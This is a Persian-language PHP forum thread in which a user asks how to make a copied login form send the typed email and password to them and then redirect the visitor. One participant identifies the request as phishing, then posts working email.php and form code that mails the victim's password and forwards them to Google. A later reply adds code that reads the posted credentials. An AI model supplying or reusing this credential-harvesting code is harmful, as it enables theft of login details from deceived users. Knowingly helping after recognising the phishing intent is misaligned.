View Full Version : ارسال اطلاعات به ایمیل
xrezax
دوشنبه 07 آذر 1390, 12:15 عصر
سلام
چطور میشه من یک فرم یا دو تکست باکس و یک دکمه بسازم و وقتی که روی دکمه کلیک کنم محتوای اون دو تکست باکس رو برام ایمیل کنه و اگه ایمیل ارسال شد سابت گوگل و باز کنه و اگر ارسال نشد سایت یاهو باز بشه.
از این سورس استفاده می کنم.
اگه سورس بهتری دارین ممنون میشم قرار بدین
<?php
$to="User@Site.com";
$subject="New Password";
$msg="Hi, Your New Password is : 123";
if(mail($to,$subject,$msg))
{
echo 'Email Has Sent!';
}
else
{
echo 'Error in sending !!!!';
}
?>
pejman_view
دوشنبه 07 آذر 1390, 12:44 عصر
سلام،
برای انتقال به صفحه دیگر بایستی از دستور زیر استفاده کنید:
header ('location: http://www.google.com');
البته دستور بالا ممکنه در جاهایی با مشکل بر بخوره بنابراین می توانید از کد زیر استفاده کنید:
<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.google.com/">
کد بالا هم باید بین دو تگ head قرار بگیره
و روش دیگر استفاده از جاوا اسکریپت است:
<script type="text/javascript"> <!-- window.location = "http://www.google.com/" //--> </script>
و در زیر کد خودتان را اصلاح کردم.
<?php
$to="User@Site.com";
$subject="New Password";
$msg="Hi, Your New Password is : 123";
$msg = eregi_replace (chr(13),'<BR>',$msg);
if(mail($to,$subject,$msg))
{
header ('location: http://www.google.com');
}
else
{
header ('location: http://www.yahoo.com');
}
?>
xrezax
دوشنبه 07 آذر 1390, 12:57 عصر
کد html من اینه
<p><input id="login_email" name="login_email" type="text"></p>
<p><input autocomplete="off" id="login_password" name="login_password" value="" type="password"></p>
<p><input name="submit.x" value="Log In" class="button primary" type="submit"></p>
چطور این فرمو به این php بچسبونم ؟؟؟ یعنی اطلاعات این دوتا تکستو بنویسم و وقتی روی دکمه کلیک کنم ارسال بشن واسم ؟؟
pejman_view
دوشنبه 07 آذر 1390, 13:16 عصر
سلام
دنبال مقالاتی در مورد phishing بگردید در انجا کامل توضیح داده اند.
با تشکر
xrezax
دوشنبه 07 آذر 1390, 13:29 عصر
شما راه حلی سورسی چیزی نداری دمه دست. لازم دارم
pejman_view
چهارشنبه 09 آذر 1390, 13:14 عصر
email.php:
<?php
$to="User@Site.com";
$subject="New Password";
$msg="Hi, Your New Password is : ".$_POST['login_password'];
$msg = eregi_replace (chr(13),'',$msg);
if(mail($to,$subject,$msg))
{
header ('location: http://www.google.com');
}
else
{
header ('location: http://www.yahoo.com');
}
?>
index.html:
<form method="POST" action="email.php"
<p><input id="login_email" name="login_email" type="text"></p>
<p><input autocomplete="off" id="login_password" name="login_password" value="" type="password"></p>
<p><input name="submit.x" value="Log In" class="button primary" type="submit"></p>
</form>
rahime
شنبه 09 شهریور 1392, 15:30 عصر
یه سر به این سایت بزن خیلی قشنگ توضیح داده
http://dtuts.net/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%B3%D8%A7%D8%AE%D8%AA-%DB%8C%DA%A9-%D9%81%D8%B1%D9%85-%D8%AA%D9%85%D8%A7%D8%B3%D9%90-%DB%8C%DA%A9-%D8%AF%D8%B3%D8%AA-%D9%88-%D8%AC%D8%B0%D8%A7%D8%A8-%D8%A8%D8%A7-2/
AliRezaPro
شنبه 09 شهریور 1392, 16:53 عصر
سلام
دنبال مقالاتی در مورد phishing بگردید در انجا کامل توضیح داده اند.
با تشکر
phishing ؟! چی رو استارتر تاپیک میخواهد فیشینگ کنند ؟!
----
برای دسترسی به عناصر فرم , باید اول چک کنید که صفحه سابمیت شده است یا خیر و سپس با متدی که صفحه رو پست کردید مقادیر المان ها رو دریافت کنید
<form method="POST" action="email.php"
<p><input id="login_email" name="login_email" type="text"></p>
<p><input autocomplete="off" id="login_password" name="login_password" value="" type="password"></p>
<p><input name="submit" value="Log In" class="button primary" type="submit"></p>
</form>
<?php
if(isset($_POST['submit'])){
if((!empty($_POST['login_password'])) && !empty($_POST['login_email'])){
echo $_POST['login_password'] . " " .$_POST['login_email'];
}
}
?>
vBulletin® v4.2.5, Copyright ©2000-1403, Jelsoft Enterprises Ltd.